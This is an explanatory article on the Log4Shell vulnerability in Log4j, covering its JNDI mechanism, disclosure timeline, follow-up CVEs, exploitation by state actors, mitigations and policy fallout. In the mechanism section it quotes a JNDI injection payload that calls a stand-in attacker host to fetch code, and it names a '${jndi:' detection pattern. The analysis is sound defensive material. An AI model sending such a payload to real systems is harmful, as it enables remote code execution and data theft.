Log4Shell: The Logging Library That Could Execute Arbitrary Code

‍‌‌‌‌‌‌​​​​‌​​​‌​​‌​‌‌‌‌‌‌​​​​​‌​​‌​​‌‌​​‌​​​‌​​‌‌​‌‌​​‌‌‌‌​​‌‌​‌‍A logging library scored the maximum possible severity on the Common Vulnerability Scoring System (CVSS): 10.0 out of 10.0. It wasn't a database, an authentication system, or a firewall that earned that score. It was a library whose entire job was to write lines of text to a log file. CVE-2021-44228 (Common Vulnerabilities and Exposures), named Log4Shell, allowed an attacker to execute arbitrary code on a server by typing a single string into any input field that got logged. It required no authentication, no user interaction, and the attack complexity was rated low.

The vulnerability existed for approximately eight years before anyone noticed it. When it was finally disclosed in December 2021, nation-state actors from at least four countries were exploiting it within hours. The US Cybersecurity and Infrastructure Security Agency (CISA) issued an emergency directive within eight days. Four related CVEs were published in a single month, because the first three fixes were incomplete.

The National Cyber Security Centre (NCSC) in the UK described it as "potentially the most severe computer vulnerability in years." That assessment holds up nearly five years later.

What everyone thinks happened

The common version of the story is "a Java vulnerability." A bad thing in Java, patched quickly, crisis over. That version captures one layer of a problem with at least three.

Log4Shell wasn't a bug in the traditional sense. The behaviour that made it exploitable, Java Naming and Directory Interface (JNDI) lookups in log messages, was a designed feature. It was introduced deliberately in Log4j 2.0-beta9 in 2013. The Log4j library could process embedded expressions in the data it was logging, and one of those expression types told it to connect to an external server and fetch a Java object. That feature worked exactly as its developers had designed it to work. The problem was that the design let an attacker control where it connected and what it fetched.

The second layer is the sheer scope of the affected software. Log4j isn't a niche tool used by a handful of projects. "Nearly all devices and online services use Log4j." It's downloaded billions of times annually across software supply chains and embedded as a dependency in enterprise applications, often as a transitive dependency multiple layers deep. When the vulnerability was disclosed, most organisations couldn't quickly identify whether they used Log4j at all, because it was buried inside other software that was itself buried inside other software.

The third layer is the one the Cyber Safety Review Board (CSRB) focused on in its inaugural review: the systemic underinvestment in open source security. Log4j was a critical dependency for enterprise systems globally, and it operated with minimal dedicated security resources. A vulnerability in a library maintained by a small group of volunteers sat unnoticed for eight years, and when it was found, the entire internet was affected.

What actually happened

The JNDI injection mechanism

The attack chain is five steps, and none of them are complicated.

An attacker sends a request containing a crafted string: ${jndi:ldap://attacker.com/exploit}. This string can go into any field that gets logged. The HTTP User-Agent header works as an entry point. A standard form field works just as effectively for delivering the payload. A search query, an authentication field, or a URL parameter all qualify. Anything the application passes to Log4j for logging.

Log4j's message lookup substitution processes expressions wrapped in the dollar-brace syntax. When it encounters the JNDI prefix, it resolves the lookup by connecting to the attacker-controlled Lightweight Directory Access Protocol (LDAP) server specified in the string. The LDAP server returns a reference to a malicious Java class hosted on the attacker's HTTP server. Log4j then downloads and deserialises that class on the target server. The malicious class executes, and the attacker has Remote Code Execution (RCE) on the vulnerable server.

LDAP was the most common protocol used, but Remote Method Invocation (RMI) and Domain Name System (DNS) lookups were also exploitable through the same mechanism. The CVSS vector tells the story: network-accessible, low complexity, no privileges required, no user interaction needed, scope changed (meaning the attacker can reach beyond the vulnerable component), and confidentiality, integrity, and availability all rated high. There is no room in the scoring system for anything worse. (in line with the July 2023 remediation advisory).

The disclosure timeline

On 24 November 2021, Chen Zhaojun of Alibaba Cloud Security Team privately reported the vulnerability to the Apache Software Foundation. Apache released Log4j 2.15.0 on 6 December with message lookups disabled by default.

On 9 December, the security firm LunaSec published a blog post naming the vulnerability "Log4Shell" and bringing it to the broader information security community's attention. At that point, the vulnerability had only been discussed within the Chinese information security community. Within hours of the post, mass scanning and exploitation attempts were observed globally by Mandiant.

CISA's joint assessment with the Federal Bureau of Investigation (FBI) and the National Security Agency (NSA) concluded that exploitation in the wild had begun on or around 1 December 2021, nine days before the public CVE was published.

The official CVE-2021-44228 was published on 10 December with CVSS 10.0. CISA added it to the Known Exploited Vulnerabilities (KEV) catalogue the same day, with a remediation deadline of 24 December. On 17 December, CISA issued Emergency Directive ED 22-02, requiring all Federal Civilian Executive Branch agencies to enumerate their internet-facing systems and patch or remove affected assets under emergency change procedures.

Four CVEs in one month

The first fix didn't hold under real-world conditions. Apache released Log4j 2.15.0 on 6 December, but the fix was incomplete in certain non-default configurations. CVE-2021-45046 was disclosed on 13 December, initially scored at 3.7 (denial of service only), then upgraded to 9.0 (critical) when researchers confirmed it could also enable remote code execution and information disclosure. Log4j 2.16.0, released the same day, disabled JNDI entirely by default.

On 16 December, CVE-2021-45105 followed: self-referential lookups in 2.16.0 could cause uncontrolled recursion, crashing the application with a denial of service. Log4j 2.17.0 was released on 17 December to address the issue.

On 28 December, CVE-2021-44832 added a fourth entry: the JDBC Appender could allow remote code execution through JNDI data source configuration if an attacker could modify the logging configuration. Log4j 2.17.1, released on 28 December, addressed this final issue.

That amounts to four CVEs in just 18 days. The patch-test-release cycle for an open source project maintaining three separate Java version branches (Java 6, 7, and 8+) was brutal. For organisations trying to keep up, each patch invalidated the previous one, and the severity of what they thought was a low-risk follow-up (CVE-2021-45046 at 3.7) was revised upward to critical after they'd already decided not to rush it.

Who exploited it and how fast

Microsoft observed CVE-2021-44228 being exploited by "multiple tracked nation-state activity groups originating from China, Iran, North Korea, and Turkey." Named groups included PHOSPHORUS (Iran), which operationalised the exploit and deployed ransomware, and HAFNIUM (China), which attacked virtualisation infrastructure. Mandiant reported that APT41 (suspected Chinese state-linked) exploited MobileIron servers within a day of the public announcement.

CISA and US Coast Guard Cyber Command (CGCYBER) documented continued exploitation into 2022, targeting VMware Horizon and Unified Access Gateway servers. In one incident response engagement, state-sponsored actors had exfiltrated more than 130 gigabytes of data from a single victim, including law enforcement investigation records. Deep Panda was suspected based on the malware analysis.

The FBI observed mass deployment of cryptomining malware and botnet installation alongside the targeted state-sponsored activity. Mandiant confirmed ransomware actors were using Log4Shell for initial access into target environments.

The speed of exploitation mattered enormously in this case. Proof-of-concept exploits were immediately available within hours of the public disclosure. The attack required nothing more than typing a string into a text field. The barrier to exploitation was essentially zero, which meant every criminal operation and every intelligence service with Java exploitation capability was testing it simultaneously.

Myth vs fact

Myth: "Just patch and it's fixed."

The first patch (2.15.0) was incomplete, and the follow-up that was supposed to clean up the edges (CVE-2021-45046) turned out to enable remote code execution in its own right. Organisations that patched once and moved on were still vulnerable. The truly safe version was 2.17.1 for Java 8+, released on 28 December, nearly three weeks after the initial disclosure. But patching assumes you know where Log4j exists in your environment. The CSRB found that "many companies could not quickly identify where in their environments they had vulnerable code." When a library is buried three or four dependency layers deep inside vendor software, your patch cycle depends on every vendor in that chain releasing their own update. Some vendors released updates quickly, while others took months to ship a fix.

Myth: "It only affects web servers."

Any application that uses Log4j 2.x (specifically the log4j-core JAR, versions 2.0-beta9 to 2.14.1) and logs user-controllable input is vulnerable. That includes internal applications, middleware, IoT (Internet of Things) devices, cloud services, and embedded systems. Log4j is "used by millions of computers worldwide running online services" and affects "virtually all Java applications globally." If the application logs anything an attacker can influence, and it uses the affected library, it's in scope.

Myth: "We'd know if we used Log4j."

This turned out to be the most damaging assumption of all. Log4j is rarely a direct dependency that appears in your own code. It's a transitive dependency of other libraries and frameworks. A product you bought from a vendor might include a framework that includes a library that includes Log4j. Unless you maintain a Software Bill of Materials (SBOM) for every application in your estate, the honest answer for most organisations in December 2021 was: we don't know.

Myth: "The environment variable workaround was sufficient."

Setting LOG4J_FORMAT_MSG_NO_LOOKUPS=true or the equivalent Java Virtual Machine (JVM) argument was widely recommended as a temporary mitigation for versions 2.10.0 to 2.14.1. It was later found to be insufficient against CVE-2021-45046. The only complete mitigations were patching to 2.17.1+ or physically removing the JndiLookup class from the Log4j JAR file: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. Many organisations implemented the environment variable fix, considered the problem solved, and moved on.

What would have stopped this

No single control prevents a vulnerability in a transitive dependency from being exploitable. But several layers would have reduced the blast radius or enabled a faster response.

A Software Bill of Materials. The biggest problem organisations faced wasn't the vulnerability itself but the fact that they couldn't answer the question "do we use Log4j?" An SBOM, a formal record of every software component and its dependencies, would have reduced the identification phase from weeks to hours. Executive Order 14028, signed in May 2021 (months before Log4Shell), had already called for SBOM standards. Log4Shell demonstrated precisely why those standards were urgently needed. The National Institute of Standards and Technology (NIST) subsequently established minimum SBOM elements, and the CSRB recommended mandating SBOM generation for critical infrastructure.

Dependency scanning in the build pipeline. Software composition analysis tools can identify known vulnerable libraries in your dependency tree, including transitive dependencies. If your build pipeline checks every release against a vulnerability database, you get an alert when a library three layers deep is affected, rather than finding out from a CISA emergency directive.

Egress filtering on outbound network connections. The Log4Shell attack chain requires the vulnerable server to make an outbound connection to an attacker-controlled LDAP, RMI, or DNS server. Blocking outbound LDAP traffic (ports 389 and 636), RMI traffic (port 1099), and DNS queries to non-approved resolvers from application servers would have broken the exploit chain. Most application servers have no legitimate reason to initiate outbound LDAP connections. The fact that they could was a network architecture gap, not an application security issue.

Web Application Firewall (WAF) rules. WAF rules detecting ${jndi: patterns in incoming requests could block the most common attack vectors. The NCSC specifically recommended this approach as a front-line mitigation measure. WAF rules aren't foolproof because obfuscation techniques can bypass simple pattern matching, but they raise the bar significantly for opportunistic scanning.

The JndiLookup class removal workaround for emergency situations. For environments where immediate patching wasn't possible, physically removing the JndiLookup class from the Log4j JAR file eliminated the vulnerable code path entirely. This was more reliable than the environment variable workaround and didn't require a full library upgrade. CISA's Joint Advisory specifically documented the command: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

What changed after

The CSRB inaugural review

The Cyber Safety Review Board was created to review significant cyber events, and Log4Shell was its first investigation. The review, published in July 2022 after five months of analysis, produced one finding that defines the long-term risk: "Unpatched versions of Log4j will remain in systems for years to come, perhaps a decade or longer. The event is not over."

That finding reframes Log4Shell from an incident to a condition. The vulnerability is embedded in legacy systems, vendor appliances, and IoT devices that may never be updated. Every organisation running unpatched Log4j is running a permanent, exploitable entry point. The CSRB recommended increased federal funding for securing critical open source projects and establishing sustainability models for the infrastructure that enterprise software depends on.

SBOM momentum

Log4Shell was the primary catalyst for SBOM adoption moving from theoretical to practical. Executive Order 14028 had laid the groundwork in May 2021, but the practical urgency came from watching organisations spend weeks trying to answer a question that an SBOM would have answered in minutes. CISA published framing documents for software component transparency, and NIST established the minimum elements that an SBOM must contain.

The argument is straightforward: if your vendor can't tell you what components are in their software, you can't assess your own risk when one of those components turns out to be vulnerable. Log4Shell proved that argument with live ammunition in front of the entire industry.

The PRC disclosure question

The CSRB raised what it called "significant concerns" about the People's Republic of China's vulnerability disclosure regulations. China's Regulation on the Management of Network Product Security Vulnerabilities, effective September 2021, requires Chinese researchers to report discovered vulnerabilities to the Ministry of Industry and Information Technology (MIIT) within 48 hours.

Chen Zhaojun reported the Log4j vulnerability to Apache first. Alibaba Cloud was reportedly suspended from a MIIT cybersecurity partnership for six months as a consequence.

The CSRB's concern is structural: the regulation creates an incentive for Chinese researchers to report to their government before (or instead of) the affected vendor. The Board found that the PRC government "could use these regulations to get early access to newly-discovered vulnerabilities that it can then exploit for its own malicious purposes." If a researcher discovers a vulnerability in globally used software and is required by law to report it to an intelligence service within 48 hours, the window between that report and a public patch becomes a window for state-sponsored exploitation.

Whether this happened with Log4Shell specifically is not established. The structural incentive is well documented and remains in effect.

The endemic risk

CISA and CGCYBER confirmed continued exploitation of Log4Shell through at least June 2022, more than six months after disclosure. The targets were specific: VMware Horizon and Unified Access Gateway servers, which are widely deployed and were slow to be patched. State-sponsored actors were still using Log4Shell as initial access, deploying loader malware, moving laterally via Remote Desktop Protocol (RDP), installing webshells, and exfiltrating data.

CISA's emergency directive transitioned to Binding Operational Directive 22-01 in April 2022, adding Log4Shell to the permanent catalogue of vulnerabilities that federal agencies must address. The vulnerability hasn't gone away or been fully remediated across the ecosystem. It's just stopped being front-page news while exploitation continues quietly.

The design problem

Log4Shell exposed something more uncomfortable than a coding error. It exposed a design assumption embedded in thousands of enterprise applications: that logging is a safe operation. Developers universally treated log statements as inert and harmless operations. Write some text to a file, move on. Nobody expected the logging library to make outbound network connections and execute arbitrary code based on the content of the data being logged.

But it could, and it did exactly that for eight years, in virtually every Java application that used Log4j 2.x with default settings. The feature was documented and entirely intentional on the part of its developers. It was a design decision made in 2013 that nobody examined through a security lens until 2021.

The CSRB's recommendation that universities should require cybersecurity training as part of computer science degrees points at the root cause. Secure design isn't an afterthought you bolt on during code review. It's a consideration that should influence whether a logging library needs the ability to resolve network lookups at all. The answer, with the benefit of hindsight, is obvious to everyone. Without hindsight, the feature looked like a useful capability.

That's the pattern worth watching as the industry moves forward. Not the specific vulnerability, which has been patched and catalogued and will eventually be patched everywhere. The pattern where a convenience feature in a trusted component creates an attack surface that nobody evaluates until it's exploited at scale. The next vulnerability with Log4Shell's characteristics won't be in Log4j. It will be in another widely trusted library that does something nobody thought to question.

---

---

Keep up with cybersecurity analysis

New vulnerability analysis, incident breakdowns, and assessment insights. No spam and no sales pitches, ever.

Subscribe to the newsletter | Follow Daniel on LinkedIn

Related articles

• The HSE Ireland Ransomware Attack: Eight Weeks of Missed Signals
• The CrowdStrike Outage: What Actually Happened Inside 8.5 Million Machines
• Vulnerability Assessment vs Penetration Testing

netsec-canary-1cc85a52a994.